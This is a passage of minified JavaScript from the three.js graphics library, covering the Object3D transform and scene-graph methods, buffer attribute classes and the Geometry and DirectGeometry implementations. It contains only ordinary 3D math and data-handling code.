n.Vector3(0,1,0),n.Object3D.DefaultMatrixAutoUpdate=!0,n.Object3D.prototype={constructor:n.Object3D,applyMatrix:function(e){this.matrix.multiplyMatrices(e,this.matrix),this.matrix.decompose(this.position,this.quaternion,this.scale)},setRotationFromAxisAngle:function(e,t){this.quaternion.setFromAxisAngle(e,t)},setRotationFromEuler:function(e){this.quaternion.setFromEuler(e,!0)},setRotationFromMatrix:function(e){this.quaternion.setFromRotationMatrix(e)},setRotationFromQuaternion:function(e){this.quaternion.copy(e)},rotateOnAxis:function(){var e=new n.Quaternion;return function(t,i){return e.setFromAxisAngle(t,i),this.quaternion.multiply(e),this}}(),rotateX:function(){var e=new n.Vector3(1,0,0);return function(t){return this.rotateOnAxis(e,t);
}}(),rotateY:function(){var e=new n.Vector3(0,1,0);return function(t){return this.rotateOnAxis(e,t)}}(),rotateZ:function(){var e=new n.Vector3(0,0,1);return function(t){return this.rotateOnAxis(e,t)}}(),translateOnAxis:function(){var e=new n.Vector3;return function(t,i){return e.copy(t).applyQuaternion(this.quaternion),this.position.add(e.multiplyScalar(i)),this}}(),translateX:function(){var e=new n.Vector3(1,0,0);return function(t){return this.translateOnAxis(e,t)}}(),translateY:function(){var e=new n.Vector3(0,1,0);return function(t){return this.translateOnAxis(e,t)}}(),translateZ:function(){var e=new n.Vector3(0,0,1);return function(t){return this.translateOnAxis(e,t)}}(),localToWorld:function(e){return e.applyMatrix4(this.matrixWorld)},worldToLocal:function(){var e=new n.Matrix4;return function(t){return t.applyMatrix4(e.getInverse(this.matrixWorld))}}(),lookAt:function(){var e=new n.Matrix4;return function(t){e.lookAt(t,this.position,this.up),this.quaternion.setFromRotationMatrix(e)}}(),add:function(e){if(arguments.length>1){for(var t=0;t<arguments.length;t++)this.add(arguments[t]);return this}return e===this?(console.error("THREE.Object3D.add: object can't be added as a child of itself.",e),this):(e instanceof n.Object3D?(null!==e.parent&&e.parent.remove(e),e.parent=this,e.dispatchEvent({type:"added"}),this.children.push(e)):console.error("THREE.Object3D.add: object not an instance of THREE.Object3D.",e),this)},remove:function(e){if(arguments.length>1)for(var t=0;t<arguments.length;t++)this.remove(arguments[t]);var i=this.children.indexOf(e);-1!==i&&(e.parent=null,e.dispatchEvent({type:"removed"}),this.children.splice(i,1))},getObjectById:function(e){return this.getObjectByProperty("id",e)},getObjectByName:function(e){return this.getObjectByProperty("name",e)},getObjectByProperty:function(e,t){if(this[e]===t)return this;for(var i=0,r=this.children.length;r>i;i++){var n=this.children[i],o=n.getObjectByProperty(e,t);if(void 0!==o)return o}return void 0},getWorldPosition:function(e){var t=e||new n.Vector3;return this.updateMatrixWorld(!0),t.setFromMatrixPosition(this.matrixWorld)},getWorldQuaternion:function(){var e=new n.Vector3,t=new n.Vector3;return function(i){var r=i||new n.Quaternion;return this.updateMatrixWorld(!0),this.matrixWorld.decompose(e,r,t),r}}(),getWorldRotation:function(){var e=new n.Quaternion;return function(t){var i=t||new n.Euler;return this.getWorldQuaternion(e),i.setFromQuaternion(e,this.rotation.order,!1)}}(),getWorldScale:function(){var e=new n.Vector3,t=new n.Quaternion;return function(i){var r=i||new n.Vector3;return this.updateMatrixWorld(!0),this.matrixWorld.decompose(e,t,r),r}}(),getWorldDirection:function(){var e=new n.Quaternion;return function(t){var i=t||new n.Vector3;return this.getWorldQuaternion(e),i.set(0,0,1).applyQuaternion(e)}}(),raycast:function(){},traverse:function(e){e(this);for(var t=this.children,i=0,r=t.length;r>i;i++)t[i].traverse(e)},traverseVisible:function(e){if(this.visible!==!1){e(this);for(var t=this.children,i=0,r=t.length;r>i;i++)t[i].traverseVisible(e)}},traverseAncestors:function(e){var t=this.parent;null!==t&&(e(t),t.traverseAncestors(e))},updateMatrix:function(){this.matrix.compose(this.position,this.quaternion,this.scale),this.matrixWorldNeedsUpdate=!0},updateMatrixWorld:function(e){this.matrixAutoUpdate===!0&&this.updateMatrix(),(this.matrixWorldNeedsUpdate===!0||e===!0)&&(null===this.parent?this.matrixWorld.copy(this.matrix):this.matrixWorld.multiplyMatrices(this.parent.matrixWorld,this.matrix),this.matrixWorldNeedsUpdate=!1,e=!0);for(var t=0,i=this.children.length;i>t;t++)this.children[t].updateMatrixWorld(e)},toJSON:function(e){function t(e){var t=[];for(var i in e){var r=e[i];delete r.metadata,t.push(r)}return t}var i=void 0===e||""===e,r={};i&&(e={geometries:{},materials:{},textures:{},images:{}},r.metadata={version:4.4,type:"Object",generator:"Object3D.toJSON"});var n={};if(n.uuid=this.uuid,n.type=this.type,""!==this.name&&(n.name=this.name),"{}"!==JSON.stringify(this.userData)&&(n.userData=this.userData),this.castShadow===!0&&(n.castShadow=!0),this.receiveShadow===!0&&(n.receiveShadow=!0),this.visible===!1&&(n.visible=!1),n.matrix=this.matrix.toArray(),void 0!==this.geometry&&(void 0===e.geometries[this.geometry.uuid]&&(e.geometries[this.geometry.uuid]=this.geometry.toJSON(e)),n.geometry=this.geometry.uuid),void 0!==this.material&&(void 0===e.materials[this.material.uuid]&&(e.materials[this.material.uuid]=this.material.toJSON(e)),n.material=this.material.uuid),this.children.length>0){n.children=[];for(var o=0;o<this.children.length;o++)n.children.push(this.children[o].toJSON(e).object)}if(i){var a=t(e.geometries),s=t(e.materials),c=t(e.textures),u=t(e.images);a.length>0&&(r.geometries=a),s.length>0&&(r.materials=s),c.length>0&&(r.textures=c),u.length>0&&(r.images=u)}return r.object=n,r},clone:function(e){return(new this.constructor).copy(this,e)},copy:function(e,t){if(void 0===t&&(t=!0),this.name=e.name,this.up.copy(e.up),this.position.copy(e.position),this.quaternion.copy(e.quaternion),this.scale.copy(e.scale),this.rotationAutoUpdate=e.rotationAutoUpdate,this.matrix.copy(e.matrix),this.matrixWorld.copy(e.matrixWorld),this.matrixAutoUpdate=e.matrixAutoUpdate,this.matrixWorldNeedsUpdate=e.matrixWorldNeedsUpdate,this.visible=e.visible,this.castShadow=e.castShadow,this.receiveShadow=e.receiveShadow,this.frustumCulled=e.frustumCulled,this.renderOrder=e.renderOrder,this.userData=JSON.parse(JSON.stringify(e.userData)),t===!0)for(var i=0;i<e.children.length;i++){var r=e.children[i];this.add(r.clone())}return this}},n.EventDispatcher.prototype.apply(n.Object3D.prototype),n.Object3DIdCount=0,n.Face3=function(e,t,i,r,o,a){this.a=e,this.b=t,this.c=i,this.normal=r instanceof n.Vector3?r:new n.Vector3,this.vertexNormals=Array.isArray(r)?r:[],this.color=o instanceof n.Color?o:new n.Color,this.vertexColors=Array.isArray(o)?o:[],this.materialIndex=void 0!==a?a:0},n.Face3.prototype={constructor:n.Face3,clone:function(){return(new this.constructor).copy(this)},copy:function(e){this.a=e.a,this.b=e.b,this.c=e.c,this.normal.copy(e.normal),this.color.copy(e.color),this.materialIndex=e.materialIndex;for(var t=0,i=e.vertexNormals.length;i>t;t++)this.vertexNormals[t]=e.vertexNormals[t].clone();for(var t=0,i=e.vertexColors.length;i>t;t++)this.vertexColors[t]=e.vertexColors[t].clone();return this}},n.BufferAttribute=function(e,t,i){this.uuid=n.Math.generateUUID(),this.array=e,this.itemSize=t,this.dynamic=!1,this.updateRange={offset:0,count:-1},this.version=0,this.normalized=i===!0},n.BufferAttribute.prototype={constructor:n.BufferAttribute,get count(){return this.array.length/this.itemSize},set needsUpdate(e){e===!0&&this.version++},setDynamic:function(e){return this.dynamic=e,this},copy:function(e){return this.array=new e.array.constructor(e.array),this.itemSize=e.itemSize,this.dynamic=e.dynamic,this},copyAt:function(e,t,i){e*=this.itemSize,i*=t.itemSize;for(var r=0,n=this.itemSize;n>r;r++)this.array[e+r]=t.array[i+r];return this},copyArray:function(e){return this.array.set(e),this},copyColorsArray:function(e){for(var t=this.array,i=0,r=0,o=e.length;o>r;r++){var a=e[r];void 0===a&&(console.warn("THREE.BufferAttribute.copyColorsArray(): color is undefined",r),a=new n.Color),t[i++]=a.r,t[i++]=a.g,t[i++]=a.b}return this},copyIndicesArray:function(e){for(var t=this.array,i=0,r=0,n=e.length;n>r;r++){var o=e[r];t[i++]=o.a,t[i++]=o.b,t[i++]=o.c}return this},copyVector2sArray:function(e){for(var t=this.array,i=0,r=0,o=e.length;o>r;r++){var a=e[r];void 0===a&&(console.warn("THREE.BufferAttribute.copyVector2sArray(): vector is undefined",r),a=new n.Vector2),t[i++]=a.x,t[i++]=a.y}return this},copyVector3sArray:function(e){for(var t=this.array,i=0,r=0,o=e.length;o>r;r++){var a=e[r];void 0===a&&(console.warn("THREE.BufferAttribute.copyVector3sArray(): vector is undefined",r),a=new n.Vector3),t[i++]=a.x,t[i++]=a.y,t[i++]=a.z}return this},copyVector4sArray:function(e){for(var t=this.array,i=0,r=0,o=e.length;o>r;r++){var a=e[r];void 0===a&&(console.warn("THREE.BufferAttribute.copyVector4sArray(): vector is undefined",r),a=new n.Vector4),t[i++]=a.x,t[i++]=a.y,t[i++]=a.z,t[i++]=a.w}return this},set:function(e,t){return void 0===t&&(t=0),this.array.set(e,t),this},getX:function(e){return this.array[e*this.itemSize]},setX:function(e,t){return this.array[e*this.itemSize]=t,this},getY:function(e){return this.array[e*this.itemSize+1]},setY:function(e,t){return this.array[e*this.itemSize+1]=t,this},getZ:function(e){return this.array[e*this.itemSize+2]},setZ:function(e,t){return this.array[e*this.itemSize+2]=t,this},getW:function(e){return this.array[e*this.itemSize+3]},setW:function(e,t){return this.array[e*this.itemSize+3]=t,this},setXY:function(e,t,i){return e*=this.itemSize,this.array[e+0]=t,this.array[e+1]=i,this},setXYZ:function(e,t,i,r){return e*=this.itemSize,this.array[e+0]=t,this.array[e+1]=i,this.array[e+2]=r,this},setXYZW:function(e,t,i,r,n){return e*=this.itemSize,this.array[e+0]=t,this.array[e+1]=i,this.array[e+2]=r,this.array[e+3]=n,this},clone:function(){return(new this.constructor).copy(this)}},n.Int8Attribute=function(e,t){return new n.BufferAttribute(new Int8Array(e),t)},n.Uint8Attribute=function(e,t){return new n.BufferAttribute(new Uint8Array(e),t)},n.Uint8ClampedAttribute=function(e,t){return new n.BufferAttribute(new Uint8ClampedArray(e),t)},n.Int16Attribute=function(e,t){return new n.BufferAttribute(new Int16Array(e),t)},n.Uint16Attribute=function(e,t){return new n.BufferAttribute(new Uint16Array(e),t)},n.Int32Attribute=function(e,t){return new n.BufferAttribute(new Int32Array(e),t)},n.Uint32Attribute=function(e,t){return new n.BufferAttribute(new Uint32Array(e),t)},n.Float32Attribute=function(e,t){return new n.BufferAttribute(new Float32Array(e),t)},n.Float64Attribute=function(e,t){return new n.BufferAttribute(new Float64Array(e),t)},n.DynamicBufferAttribute=function(e,t){return console.warn("THREE.DynamicBufferAttribute has been removed. Use new THREE.BufferAttribute().setDynamic( true ) instead."),new n.BufferAttribute(e,t).setDynamic(!0)},n.InstancedBufferAttribute=function(e,t,i){n.BufferAttribute.call(this,e,t),this.meshPerAttribute=i||1},n.InstancedBufferAttribute.prototype=Object.create(n.BufferAttribute.prototype),n.InstancedBufferAttribute.prototype.constructor=n.InstancedBufferAttribute,n.InstancedBufferAttribute.prototype.copy=function(e){return n.BufferAttribute.prototype.copy.call(this,e),this.meshPerAttribute=e.meshPerAttribute,this},n.InterleavedBuffer=function(e,t){this.uuid=n.Math.generateUUID(),this.array=e,this.stride=t,this.dynamic=!1,this.updateRange={offset:0,count:-1},this.version=0},n.InterleavedBuffer.prototype={constructor:n.InterleavedBuffer,get length(){return this.array.length},get count(){return this.array.length/this.stride},set needsUpdate(e){e===!0&&this.version++},setDynamic:function(e){return this.dynamic=e,this},copy:function(e){return this.array=new e.array.constructor(e.array),this.stride=e.stride,this.dynamic=e.dynamic,this},copyAt:function(e,t,i){e*=this.stride,i*=t.stride;for(var r=0,n=this.stride;n>r;r++)this.array[e+r]=t.array[i+r];return this},set:function(e,t){return void 0===t&&(t=0),this.array.set(e,t),this},clone:function(){return(new this.constructor).copy(this)}},n.InstancedInterleavedBuffer=function(e,t,i){n.InterleavedBuffer.call(this,e,t),this.meshPerAttribute=i||1},n.InstancedInterleavedBuffer.prototype=Object.create(n.InterleavedBuffer.prototype),n.InstancedInterleavedBuffer.prototype.constructor=n.InstancedInterleavedBuffer,n.InstancedInterleavedBuffer.prototype.copy=function(e){return n.InterleavedBuffer.prototype.copy.call(this,e),this.meshPerAttribute=e.meshPerAttribute,this},n.InterleavedBufferAttribute=function(e,t,i){this.uuid=n.Math.generateUUID(),this.data=e,this.itemSize=t,this.offset=i},n.InterleavedBufferAttribute.prototype={constructor:n.InterleavedBufferAttribute,get length(){return console.warn("THREE.BufferAttribute: .length has been deprecated. Please use .count."),this.array.length},get count(){return this.data.count},setX:function(e,t){return this.data.array[e*this.data.stride+this.offset]=t,this},setY:function(e,t){return this.data.array[e*this.data.stride+this.offset+1]=t,this},setZ:function(e,t){return this.data.array[e*this.data.stride+this.offset+2]=t,this},setW:function(e,t){return this.data.array[e*this.data.stride+this.offset+3]=t,this},getX:function(e){return this.data.array[e*this.data.stride+this.offset]},getY:function(e){return this.data.array[e*this.data.stride+this.offset+1]},getZ:function(e){return this.data.array[e*this.data.stride+this.offset+2]},getW:function(e){return this.data.array[e*this.data.stride+this.offset+3]},setXY:function(e,t,i){return e=e*this.data.stride+this.offset,this.data.array[e+0]=t,this.data.array[e+1]=i,this},setXYZ:function(e,t,i,r){return e=e*this.data.stride+this.offset,this.data.array[e+0]=t,this.data.array[e+1]=i,this.data.array[e+2]=r,this},setXYZW:function(e,t,i,r,n){return e=e*this.data.stride+this.offset,this.data.array[e+0]=t,this.data.array[e+1]=i,this.data.array[e+2]=r,this.data.array[e+3]=n,this}},n.Geometry=function(){Object.defineProperty(this,"id",{value:n.GeometryIdCount++}),this.uuid=n.Math.generateUUID(),this.name="",this.type="Geometry",this.vertices=[],this.colors=[],this.faces=[],this.faceVertexUvs=[[]],this.morphTargets=[],this.morphNormals=[],this.skinWeights=[],this.skinIndices=[],this.lineDistances=[],this.boundingBox=null,this.boundingSphere=null,this.verticesNeedUpdate=!1,this.elementsNeedUpdate=!1,this.uvsNeedUpdate=!1,this.normalsNeedUpdate=!1,this.colorsNeedUpdate=!1,this.lineDistancesNeedUpdate=!1,this.groupsNeedUpdate=!1},n.Geometry.prototype={constructor:n.Geometry,applyMatrix:function(e){for(var t=(new n.Matrix3).getNormalMatrix(e),i=0,r=this.vertices.length;r>i;i++){var o=this.vertices[i];o.applyMatrix4(e)}for(var i=0,r=this.faces.length;r>i;i++){var a=this.faces[i];a.normal.applyMatrix3(t).normalize();for(var s=0,c=a.vertexNormals.length;c>s;s++)a.vertexNormals[s].applyMatrix3(t).normalize()}return null!==this.boundingBox&&this.computeBoundingBox(),null!==this.boundingSphere&&this.computeBoundingSphere(),this.verticesNeedUpdate=!0,this.normalsNeedUpdate=!0,this},rotateX:function(){var e;return function(t){return void 0===e&&(e=new n.Matrix4),e.makeRotationX(t),this.applyMatrix(e),this}}(),rotateY:function(){var e;return function(t){return void 0===e&&(e=new n.Matrix4),e.makeRotationY(t),this.applyMatrix(e),this}}(),rotateZ:function(){var e;return function(t){return void 0===e&&(e=new n.Matrix4),e.makeRotationZ(t),this.applyMatrix(e),this}}(),translate:function(){var e;return function(t,i,r){return void 0===e&&(e=new n.Matrix4),e.makeTranslation(t,i,r),this.applyMatrix(e),this}}(),scale:function(){var e;return function(t,i,r){return void 0===e&&(e=new n.Matrix4),e.makeScale(t,i,r),this.applyMatrix(e),this}}(),lookAt:function(){var e;return function(t){void 0===e&&(e=new n.Object3D),e.lookAt(t),e.updateMatrix(),this.applyMatrix(e.matrix)}}(),fromBufferGeometry:function(e){function t(e,t,r,o){var a=void 0!==s?[h[e].clone(),h[t].clone(),h[r].clone()]:[],f=void 0!==c?[i.colors[e].clone(),i.colors[t].clone(),i.colors[r].clone()]:[],m=new n.Face3(e,t,r,a,f,o);i.faces.push(m),void 0!==u&&i.faceVertexUvs[0].push([d[e].clone(),d[t].clone(),d[r].clone()]),void 0!==l&&i.faceVertexUvs[1].push([p[e].clone(),p[t].clone(),p[r].clone()])}var i=this,r=null!==e.index?e.index.array:void 0,o=e.attributes,a=o.position.array,s=void 0!==o.normal?o.normal.array:void 0,c=void 0!==o.color?o.color.array:void 0,u=void 0!==o.uv?o.uv.array:void 0,l=void 0!==o.uv2?o.uv2.array:void 0;void 0!==l&&(this.faceVertexUvs[1]=[]);for(var h=[],d=[],p=[],f=0,m=0;f<a.length;f+=3,m+=2)i.vertices.push(new n.Vector3(a[f],a[f+1],a[f+2])),void 0!==s&&h.push(new n.Vector3(s[f],s[f+1],s[f+2])),void 0!==c&&i.colors.push(new n.Color(c[f],c[f+1],c[f+2])),void 0!==u&&d.push(new n.Vector2(u[m],u[m+1])),void 0!==l&&p.push(new n.Vector2(l[m],l[m+1]));if(void 0!==r){var g=e.groups;if(g.length>0)for(var f=0;f<g.length;f++)for(var v=g[f],y=v.start,M=v.count,m=y,A=y+M;A>m;m+=3)t(r[m],r[m+1],r[m+2],v.materialIndex);else for(var f=0;f<r.length;f+=3)t(r[f],r[f+1],r[f+2])}else for(var f=0;f<a.length/3;f+=3)t(f,f+1,f+2);return this.computeFaceNormals(),null!==e.boundingBox&&(this.boundingBox=e.boundingBox.clone()),null!==e.boundingSphere&&(this.boundingSphere=e.boundingSphere.clone()),this},center:function(){this.computeBoundingBox();var e=this.boundingBox.center().negate();return this.translate(e.x,e.y,e.z),e},normalize:function(){this.computeBoundingSphere();var e=this.boundingSphere.center,t=this.boundingSphere.radius,i=0===t?1:1/t,r=new n.Matrix4;return r.set(i,0,0,-i*e.x,0,i,0,-i*e.y,0,0,i,-i*e.z,0,0,0,1),this.applyMatrix(r),this},computeFaceNormals:function(){for(var e=new n.Vector3,t=new n.Vector3,i=0,r=this.faces.length;r>i;i++){var o=this.faces[i],a=this.vertices[o.a],s=this.vertices[o.b],c=this.vertices[o.c];e.subVectors(c,s),t.subVectors(a,s),e.cross(t),e.normalize(),o.normal.copy(e)}},computeVertexNormals:function(e){void 0===e&&(e=!0);var t,i,r,o,a,s;for(s=new Array(this.vertices.length),t=0,i=this.vertices.length;i>t;t++)s[t]=new n.Vector3;if(e){var c,u,l,h=new n.Vector3,d=new n.Vector3;for(r=0,o=this.faces.length;o>r;r++)a=this.faces[r],c=this.vertices[a.a],u=this.vertices[a.b],l=this.vertices[a.c],h.subVectors(l,u),d.subVectors(c,u),h.cross(d),s[a.a].add(h),s[a.b].add(h),s[a.c].add(h)}else for(r=0,o=this.faces.length;o>r;r++)a=this.faces[r],s[a.a].add(a.normal),s[a.b].add(a.normal),s[a.c].add(a.normal);for(t=0,i=this.vertices.length;i>t;t++)s[t].normalize();for(r=0,o=this.faces.length;o>r;r++){a=this.faces[r];var p=a.vertexNormals;3===p.length?(p[0].copy(s[a.a]),p[1].copy(s[a.b]),p[2].copy(s[a.c])):(p[0]=s[a.a].clone(),p[1]=s[a.b].clone(),p[2]=s[a.c].clone())}this.faces.length>0&&(this.normalsNeedUpdate=!0)},computeMorphNormals:function(){var e,t,i,r,o;for(i=0,r=this.faces.length;r>i;i++)for(o=this.faces[i],o.__originalFaceNormal?o.__originalFaceNormal.copy(o.normal):o.__originalFaceNormal=o.normal.clone(),o.__originalVertexNormals||(o.__originalVertexNormals=[]),e=0,t=o.vertexNormals.length;t>e;e++)o.__originalVertexNormals[e]?o.__originalVertexNormals[e].copy(o.vertexNormals[e]):o.__originalVertexNormals[e]=o.vertexNormals[e].clone();var a=new n.Geometry;for(a.faces=this.faces,e=0,t=this.morphTargets.length;t>e;e++){if(!this.morphNormals[e]){this.morphNormals[e]={},this.morphNormals[e].faceNormals=[],this.morphNormals[e].vertexNormals=[];var s,c,u=this.morphNormals[e].faceNormals,l=this.morphNormals[e].vertexNormals;for(i=0,r=this.faces.length;r>i;i++)s=new n.Vector3,c={a:new n.Vector3,b:new n.Vector3,c:new n.Vector3},u.push(s),l.push(c)}var h=this.morphNormals[e];a.vertices=this.morphTargets[e].vertices,a.computeFaceNormals(),a.computeVertexNormals();var s,c;for(i=0,r=this.faces.length;r>i;i++)o=this.faces[i],s=h.faceNormals[i],c=h.vertexNormals[i],s.copy(o.normal),c.a.copy(o.vertexNormals[0]),c.b.copy(o.vertexNormals[1]),c.c.copy(o.vertexNormals[2])}for(i=0,r=this.faces.length;r>i;i++)o=this.faces[i],o.normal=o.__originalFaceNormal,o.vertexNormals=o.__originalVertexNormals},computeTangents:function(){console.warn("THREE.Geometry: .computeTangents() has been removed.")},computeLineDistances:function(){for(var e=0,t=this.vertices,i=0,r=t.length;r>i;i++)i>0&&(e+=t[i].distanceTo(t[i-1])),this.lineDistances[i]=e},computeBoundingBox:function(){null===this.boundingBox&&(this.boundingBox=new n.Box3),this.boundingBox.setFromPoints(this.vertices)},computeBoundingSphere:function(){null===this.boundingSphere&&(this.boundingSphere=new n.Sphere),this.boundingSphere.setFromPoints(this.vertices)},merge:function(e,t,i){if(e instanceof n.Geometry==!1)return void console.error("THREE.Geometry.merge(): geometry not an instance of THREE.Geometry.",e);var r,o=this.vertices.length,a=this.vertices,s=e.vertices,c=this.faces,u=e.faces,l=this.faceVertexUvs[0],h=e.faceVertexUvs[0];void 0===i&&(i=0),void 0!==t&&(r=(new n.Matrix3).getNormalMatrix(t));for(var d=0,p=s.length;p>d;d++){var f=s[d],m=f.clone();void 0!==t&&m.applyMatrix4(t),a.push(m)}for(d=0,p=u.length;p>d;d++){var g,v,y,M=u[d],A=M.vertexNormals,x=M.vertexColors;g=new n.Face3(M.a+o,M.b+o,M.c+o),g.normal.copy(M.normal),void 0!==r&&g.normal.applyMatrix3(r).normalize();for(var w=0,E=A.length;E>w;w++)v=A[w].clone(),void 0!==r&&v.applyMatrix3(r).normalize(),g.vertexNormals.push(v);g.color.copy(M.color);for(var w=0,E=x.length;E>w;w++)y=x[w],g.vertexColors.push(y.clone());g.materialIndex=M.materialIndex+i,c.push(g)}for(d=0,p=h.length;p>d;d++){var b=h[d],T=[];if(void 0!==b){for(var w=0,E=b.length;E>w;w++)T.push(b[w].clone());l.push(T)}}},mergeMesh:function(e){return e instanceof n.Mesh==!1?void console.error("THREE.Geometry.mergeMesh(): mesh not an instance of THREE.Mesh.",e):(e.matrixAutoUpdate&&e.updateMatrix(),void this.merge(e.geometry,e.matrix))},mergeVertices:function(){var e,t,i,r,n,o,a,s,c={},u=[],l=[],h=4,d=Math.pow(10,h);for(i=0,r=this.vertices.length;r>i;i++)e=this.vertices[i],t=Math.round(e.x*d)+"_"+Math.round(e.y*d)+"_"+Math.round(e.z*d),void 0===c[t]?(c[t]=i,u.push(this.vertices[i]),l[i]=u.length-1):l[i]=l[c[t]];var p=[];for(i=0,r=this.faces.length;r>i;i++){n=this.faces[i],n.a=l[n.a],n.b=l[n.b],n.c=l[n.c],o=[n.a,n.b,n.c];for(var f=-1,m=0;3>m;m++)if(o[m]===o[(m+1)%3]){f=m,p.push(i);break}}for(i=p.length-1;i>=0;i--){var g=p[i];for(this.faces.splice(g,1),a=0,s=this.faceVertexUvs.length;s>a;a++)this.faceVertexUvs[a].splice(g,1)}var v=this.vertices.length-u.length;return this.vertices=u,v},sortFacesByMaterialIndex:function(){function e(e,t){return e.materialIndex-t.materialIndex}for(var t=this.faces,i=t.length,r=0;i>r;r++)t[r]._id=r;t.sort(e);var n,o,a=this.faceVertexUvs[0],s=this.faceVertexUvs[1];a&&a.length===i&&(n=[]),s&&s.length===i&&(o=[]);for(var r=0;i>r;r++){var c=t[r]._id;n&&n.push(a[c]),o&&o.push(s[c])}n&&(this.faceVertexUvs[0]=n),o&&(this.faceVertexUvs[1]=o)},toJSON:function(){function e(e,t,i){return i?e|1<<t:e&~(1<<t)}function t(e){var t=e.x.toString()+e.y.toString()+e.z.toString();return void 0!==d[t]?d[t]:(d[t]=h.length/3,h.push(e.x,e.y,e.z),d[t])}function i(e){var t=e.r.toString()+e.g.toString()+e.b.toString();return void 0!==f[t]?f[t]:(f[t]=p.length,p.push(e.getHex()),f[t])}function r(e){var t=e.x.toString()+e.y.toString();return void 0!==g[t]?g[t]:(g[t]=m.length/2,m.push(e.x,e.y),g[t])}var n={metadata:{version:4.4,type:"Geometry",generator:"Geometry.toJSON"}};if(n.uuid=this.uuid,n.type=this.type,""!==this.name&&(n.name=this.name),void 0!==this.parameters){var o=this.parameters;for(var a in o)void 0!==o[a]&&(n[a]=o[a]);return n}for(var s=[],c=0;c<this.vertices.length;c++){var u=this.vertices[c];s.push(u.x,u.y,u.z)}for(var l=[],h=[],d={},p=[],f={},m=[],g={},c=0;c<this.faces.length;c++){var v=this.faces[c],y=!0,M=!1,A=void 0!==this.faceVertexUvs[0][c],x=v.normal.length()>0,w=v.vertexNormals.length>0,E=1!==v.color.r||1!==v.color.g||1!==v.color.b,b=v.vertexColors.length>0,T=0;if(T=e(T,0,0),T=e(T,1,y),T=e(T,2,M),T=e(T,3,A),T=e(T,4,x),T=e(T,5,w),T=e(T,6,E),T=e(T,7,b),l.push(T),l.push(v.a,v.b,v.c),l.push(v.materialIndex),A){var L=this.faceVertexUvs[0][c];l.push(r(L[0]),r(L[1]),r(L[2]))}if(x&&l.push(t(v.normal)),w){var D=v.vertexNormals;l.push(t(D[0]),t(D[1]),t(D[2]))}if(E&&l.push(i(v.color)),b){var N=v.vertexColors;l.push(i(N[0]),i(N[1]),i(N[2]))}}return n.data={},n.data.vertices=s,n.data.normals=h,p.length>0&&(n.data.colors=p),m.length>0&&(n.data.uvs=[m]),n.data.faces=l,n},clone:function(){return(new n.Geometry).copy(this)},copy:function(e){this.vertices=[],this.faces=[],this.faceVertexUvs=[[]];for(var t=e.vertices,i=0,r=t.length;r>i;i++)this.vertices.push(t[i].clone());for(var n=e.faces,i=0,r=n.length;r>i;i++)this.faces.push(n[i].clone());for(var i=0,r=e.faceVertexUvs.length;r>i;i++){var o=e.faceVertexUvs[i];void 0===this.faceVertexUvs[i]&&(this.faceVertexUvs[i]=[]);for(var a=0,s=o.length;s>a;a++){for(var c=o[a],u=[],l=0,h=c.length;h>l;l++){var d=c[l];u.push(d.clone())}this.faceVertexUvs[i].push(u)}}return this},dispose:function(){this.dispatchEvent({type:"dispose"})}},n.EventDispatcher.prototype.apply(n.Geometry.prototype),n.GeometryIdCount=0,n.DirectGeometry=function(){Object.defineProperty(this,"id",{value:n.GeometryIdCount++}),this.uuid=n.Math.generateUUID(),this.name="",this.type="DirectGeometry",this.indices=[],this.vertices=[],this.normals=[],this.colors=[],this.uvs=[],this.uvs2=[],this.groups=[],this.morphTargets={},this.skinWeights=[],this.skinIndices=[],this.boundingBox=null,this.boundingSphere=null,this.verticesNeedUpdate=!1,this.normalsNeedUpdate=!1,this.colorsNeedUpdate=!1,this.uvsNeedUpdate=!1,this.groupsNeedUpdate=!1},n.DirectGeometry.prototype={constructor:n.DirectGeometry,computeBoundingBox:n.Geometry.prototype.computeBoundingBox,computeBoundingSphere:n.Geometry.prototype.computeBoundingSphere,computeFaceNormals:function(){console.warn("THREE.DirectGeometry: computeFaceNormals() is not a method of this type of geometry.")},computeVertexNormals:function(){console.warn("THREE.DirectGeometry: computeVertexNormals() is not a method of this type of geometry.")},computeGroups:function(e){for(var t,i,r=[],n=e.faces,o=0;o<n.length;o++){var a=n[o];a.materialIndex!==i&&(i=a.materialIndex,void 0!==t&&(t.count=3*o-t.start,r.push(t)),t={start:3*o,materialIndex:i})}void 0!==t&&(t.count=3*o-t.start,r.push(t)),this.groups=r},fromGeometry:function(e){var t,i=e.faces,r=e.vertices,o=e.faceVertexUvs,a=o[0]&&o[0].length>0,s=o[1]&&o[1].length>0,c=e.morphTargets,u=c.length;if(u>0){t=[];for(var l=0;u>l;l++)t[l]=[];this.morphTargets.position=t}var h,d=e.morphNormals,p=d.length;if(p>0){h=[];for(var l=0;p>l;l++)h[l]=[];this.morphTargets.normal=h}for(var f=e.skinIndices,m=e.skinWeights,g=f.length===r.length,v=m.length===r.length,l=0;l<i.length;l++){var y=i[l];this.vertices.push(r[y.a],r[y.b],r[y.c]);var M=y.vertexNormals;if(3===M.length)this.normals.push(M[0],M[1],M[2]);else{var A=y.normal;this.normals.push(A,A,A)}var x=y.vertexColors;if(3===x.length)this.colors.push(x[0],x[1],x[2]);else{var w=y.color;this.colors.push(w,w,w)}if(a===!0){var E=o[0][l];void 0!==E?this.uvs.push(E[0],E[1],E[2]):(console.warn("THREE.DirectGeometry.fromGeometry(): Undefined vertexUv ",l),this.uvs.push(new n.Vector2,new n.Vector2,new n.Vector2))}if(s===!0){var E=o[1][l];void 0!==E?this.uvs2.push(E[0],E[1],E[2]):(console.warn("THREE.DirectGeometry.fromGeometry(): Undefined vertexUv2 ",l),this.uvs2.push(new n.Vector2,new n.Vector2,new n.Vector2))}for(var b=0;u>b;b++){var T=c[b].vertices;t[b].push(T[y.a],T[y.b],T[y.c])}for(var b=0;p>b;b++){var L=d[b].vertexNormals[l];h[b].push(L.a,L.b,L.c)}g&&this.skinIndices.push(f[y.a],f[y.b],f[y.c]),v&&this.skinWeights.push(m[y.a],m[y.b],m[y.c])}return this.computeGroups(e),this.verticesNeedUpdate=e.verticesNeedUpdate,this.normalsNeedUpdate=e.normalsNeedUpdate,this.colorsNeedUpdate=e.colorsNeedUpdate,this.uvsNeedUpdate=e.uvsNeedUpdate,this.groupsNeedUpdate=e.groupsNeedUpdate,this},dispose:function(){this.dispatchEvent({type:"dispose"})}},n.EventDispatcher.prototype.apply(n.DirectGeometry.prototype),n.BufferGeometry=function(){Object.defineProperty(this,"id",{value:n.GeometryIdCount++}),this.uuid=n.Math.generateUUID(),this.name="",this.type="BufferGeometry",this.index=null,this.attributes={},this.morphAttributes={},this.groups=[],this.boundingBox=null,this.boundingSphere=null,this.drawRange={start:0,count:1/0}},n.BufferGeometry.prototype={constructor:n.BufferGeometry,getIndex:function(){return 